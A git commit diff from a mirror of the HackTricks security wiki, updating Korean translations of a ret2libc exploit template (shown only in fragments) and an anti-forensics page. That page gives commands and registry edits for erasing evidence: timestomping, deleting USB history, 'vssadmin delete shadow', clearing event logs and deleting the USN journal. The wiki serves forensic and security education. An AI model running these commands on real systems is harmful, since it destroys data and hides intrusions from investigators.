mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
2fb26d3e17
commit
88366b0ca3
35 changed files with 1893 additions and 2761 deletions
|
@ -1,19 +1,23 @@
|
|||
# libc 누출 - 템플릿
|
||||
# libc 주소 노출 - 템플릿
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% code title="template.py" %}
|
||||
```python
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
@ -202,9 +206,9 @@ P.interactive() #Interact with your shell :)
|
|||
|
||||
## 일반적인 문제
|
||||
|
||||
### MAIN\_PLT = elf.symbols\['main']를 찾을 수 없음
|
||||
### MAIN_PLT = elf.symbols['main']를 찾을 수 없음
|
||||
|
||||
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문에). 그럼 main 코드가 어디에 있는지 찾을 수 있습니다:
|
||||
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 어디에 있는지 찾아야 합니다:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -216,7 +220,7 @@ MAIN_PLT = 0x401080
|
|||
```
|
||||
### Puts를 찾을 수 없음
|
||||
|
||||
만약 이진 파일이 Puts를 사용하지 않는다면 **사용하는지 확인**해야 합니다.
|
||||
만약 이진 파일이 Puts를 사용하지 않는다면 **사용 여부를 확인**해야 합니다.
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
|
@ -226,16 +230,21 @@ MAIN_PLT = 0x401080
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,86 +1,90 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배워보세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# 타임스탬프
|
||||
|
||||
공격자는 탐지를 피하기 위해 파일의 타임스탬프를 변경하는 것에 관심이 있을 수 있습니다.\
|
||||
MFT 내부의 속성 `$STANDARD_INFORMATION` __ 및 __ `$FILE_NAME`에서 타임스탬프를 찾을 수 있습니다.
|
||||
공격자는 **파일의 타임스탬프를 변경**하여 감지를 피하려 할 수 있습니다.\
|
||||
MFT 내부의 타임스탬프를 찾을 수 있습니다. 이는 `$STANDARD_INFORMATION` __ 및 __ `$FILE_NAME` 속성에 있습니다.
|
||||
|
||||
두 속성은 **수정**, **액세스**, **생성** 및 **MFT 레지스트리 수정** (MACE 또는 MACB)에 대한 4개의 타임스탬프를 가지고 있습니다.
|
||||
두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정** (MACE 또는 MACB)에 대한 4개의 타임스탬프가 있습니다.
|
||||
|
||||
**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다.
|
||||
|
||||
## TimeStomp - 안티 포렌식 도구
|
||||
|
||||
이 도구는 **`$STANDARD_INFORMATION`** 내부의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내부의 정보는 **수정하지 않습니다**. 따라서 **수상한 활동을 식별**할 수 있습니다.
|
||||
이 도구는 **`$STANDARD_INFORMATION`** 내부의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내부의 정보는 **수정하지 않습니다**. 따라서 **의심스러운 활동을 식별**할 수 있습니다.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
**USN Journal** (Update Sequence Number Journal)은 NTFS (Windows NT 파일 시스템)의 기능으로 볼륨 변경 내용을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검사할 수 있습니다.
|
||||
**USN Journal** (Update Sequence Number Journal)은 NTFS (Windows NT 파일 시스템)의 기능으로 볼륨 변경을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검사할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
이전 이미지는 도구에서 표시된 **출력**입니다. 여기서 파일에 일부 **변경 사항이 수행**되었음을 확인할 수 있습니다.
|
||||
이전 이미지는 도구에서 표시된 **출력**으로 파일에 일부 **변경이 수행**된 것을 확인할 수 있습니다.
|
||||
|
||||
## $LogFile
|
||||
|
||||
파일 시스템의 **모든 메타데이터 변경 사항은 로그에 기록**됩니다. 이 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging) 프로세스로 **로그에 기록**됩니다. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
도구의 출력에서 다시 **일부 변경 사항이 수행**되었음을 볼 수 있습니다.
|
||||
도구의 출력에서 다시 **일부 변경 사항이 수행**된 것을 확인할 수 있습니다.
|
||||
|
||||
동일한 도구를 사용하여 **타임스탬프가 수정된 시간**을 식별할 수 있습니다:
|
||||
동일한 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: 파일의 생성 시간
|
||||
* ATIME: 파일의 수정 시간
|
||||
* MTIME: 파일의 MFT 레지스트리 수정
|
||||
* RTIME: 파일의 액세스 시간
|
||||
* CTIME: 파일 생성 시간
|
||||
* ATIME: 파일 수정 시간
|
||||
* MTIME: 파일 MFT 레지스트리 수정
|
||||
* RTIME: 파일 액세스 시간
|
||||
|
||||
## `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교
|
||||
|
||||
수상한 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다.
|
||||
의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다.
|
||||
|
||||
## 나노초
|
||||
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 가지고 있습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일은 매우 수상합니다**.
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스러울 수 있습니다.
|
||||
|
||||
## SetMace - 안티 포렌식 도구
|
||||
|
||||
이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 두 속성을 모두 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하기 위해 라이브 OS가 필요합니다.
|
||||
이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 두 속성을 모두 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하려면 라이브 OS가 필요합니다.
|
||||
|
||||
# 데이터 숨김
|
||||
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **남은 반 개는 파일이 삭제될 때까지 사용되지 않습니다**. 따라서 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **파일이 삭제될 때까지 남은 반은 사용되지 않을 것**입니다. 따라서 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
|
||||
슬래커와 같은 도구를 사용하여 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 도구는 콘텐츠를 난독화하거나 암호화하여 저장할 수 있습니다.
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 도구는 콘텐츠를 난독화하거나 암호화할 수 있습니다.
|
||||
|
||||
# UsbKill
|
||||
|
||||
이 도구는 USB 포트에 변경 사항이 감지되면 컴퓨터를 **종료**합니다.\
|
||||
이를 발견하기 위해 실행 중인 프로세스를 검사하고 **실행 중인 각 Python 스크립트를 검토**하는 방법이 있습니다.
|
||||
이 도구는 USB 포트에 변경 사항이 감지되면 컴퓨터를 **끕니다**.\
|
||||
이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토**하는 것입니다.
|
||||
|
||||
# 라이브 Linux 배포판
|
||||
# 라이브 Linux 배포
|
||||
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트되었는지 여부에 따라 감지할 수 있습니다. 읽기 권한으로만 마운트되었다면 침입을 감지할 수 없습니다.
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 침입을 감지할 수 있습니다. 읽기 권한으로만 마운트된 경우 침입을 감지할 수 없습니다.
|
||||
|
||||
# 안전한 삭제
|
||||
|
||||
|
@ -92,49 +96,56 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
|
|||
|
||||
## 타임스탬프 비활성화 - UserAssist
|
||||
|
||||
이는 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다.
|
||||
이는 사용자가 실행한 각 실행 파일의 날짜와 시간을 유지하는 레지스트리 키입니다.
|
||||
|
||||
UserAssist를 비활성화하려면 두 단계를 거쳐야 합니다:
|
||||
UserAssist를 비활성화하려면 두 단계가 필요합니다:
|
||||
|
||||
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 개의 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다.
|
||||
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다.
|
||||
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다.
|
||||
|
||||
## 타임스탬프 비활성화 - Prefetch
|
||||
|
||||
이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 작업에도 유용할 수 있습니다.
|
||||
이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 실무에도 유용할 수 있습니다.
|
||||
|
||||
* `regedit`를 실행합니다.
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`를 선택합니다.
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼으로 클릭합니다.
|
||||
* 각각의 수정을 선택하여 값을 1 (또는 3)에서 0으로 변경합니다.
|
||||
* 재부팅합니다.
|
||||
* `regedit` 실행
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼 클릭
|
||||
* 각각을 수정하여 값을 1(또는 3)에서 0으로 변경
|
||||
* 재부팅
|
||||
|
||||
## 타임스탬프 비활성화 - 마지막 액세스 시간
|
||||
|
||||
Windows NT 서버의 NTFS 볼륨에서
|
||||
## USB 기록 삭제
|
||||
Windows NT 서버의 NTFS 볼륨에서 폴더를 열 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
|
||||
|
||||
**USB 장치 항목**은 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키 아래에 저장됩니다. 이 키는 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`에서 찾을 수 있습니다. **이를 삭제**하면 USB 기록이 삭제됩니다.\
|
||||
또한 `C:\Windows\INF` 폴더 내의 `setupapi.dev.log` 파일도 삭제해야 합니다.
|
||||
1. 레지스트리 편집기 (Regedit.exe) 열기
|
||||
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동
|
||||
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
|
||||
4. 레지스트리 편집기를 닫고 서버를 다시 시작합니다.
|
||||
## USB 히스토리 삭제
|
||||
|
||||
## 그림자 복사 비활성화
|
||||
모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되어 있습니다. 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\
|
||||
또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제 여부를 확인하고 삭제할 수 있습니다.
|
||||
|
||||
`vssadmin list shadowstorage` 명령으로 **그림자 복사본**을 나열합니다.\
|
||||
`vssadmin delete shadow` 명령으로 그림자 복사본을 삭제합니다.
|
||||
USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다.
|
||||
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안하는 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
|
||||
## 그림자 복사본 비활성화
|
||||
|
||||
그림자 복사본을 비활성화하려면 [여기의 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따릅니다:
|
||||
`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화합니다.\
|
||||
`vssadmin delete shadow`를 실행하여 삭제합니다.
|
||||
|
||||
1. 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
|
||||
|
||||
그림자 복사본을 비활성화하려면 [여기에서 제안된 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르세요:
|
||||
|
||||
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
|
||||
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 후, 변경 사항을 적용하고 확인을 클릭하여 변경을 확인합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 후 변경 사항을 확인하기 위해 적용 및 확인을 클릭합니다.
|
||||
|
||||
그림자 복사본에서 복사할 파일의 구성도 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 수정할 수 있습니다.
|
||||
그림자 복사본에서 복사할 파일의 구성을 수정할 수도 있습니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
|
||||
|
||||
## 삭제된 파일 덮어쓰기
|
||||
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이는 cipher에게 C 드라이브의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이를 통해 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
|
||||
* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다.
|
||||
|
||||
## Windows 이벤트 로그 삭제
|
||||
|
@ -153,17 +164,6 @@ Windows NT 서버의 NTFS 볼륨에서
|
|||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>로부터 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **@hacktricks_live**를 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -4,41 +4,45 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출하세요.**
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 일반적인 Windows 아티팩트
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 일반 Windows 아티팩트
|
||||
|
||||
### Windows 10 알림
|
||||
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에서 데이터베이스 `appdb.dat` (Windows anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)를 찾을 수 있습니다.
|
||||
경로 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`에 데이터베이스 `appdb.dat` (Windows Anniversary 이전) 또는 `wpndatabase.db` (Windows Anniversary 이후)를 찾을 수 있습니다.
|
||||
|
||||
이 SQLite 데이터베이스 내에서 `Notification` 테이블을 찾을 수 있으며, 이 테이블에는 흥미로운 데이터가 포함된 알림 (XML 형식)이 있을 수 있습니다.
|
||||
이 SQLite 데이터베이스 내에서 흥미로운 데이터를 포함할 수 있는 모든 알림 (XML 형식)을 포함하는 `Notification` 테이블을 찾을 수 있습니다.
|
||||
|
||||
### 타임라인
|
||||
|
||||
타임라인은 Windows의 특징으로, 방문한 웹 페이지, 편집한 문서 및 실행한 애플리케이션의 **시간순** **기록**을 제공합니다.
|
||||
타임라인은 방문한 웹 페이지, 편집된 문서 및 실행된 응용 프로그램의 **시간순 역사**를 제공하는 Windows 특성입니다.
|
||||
|
||||
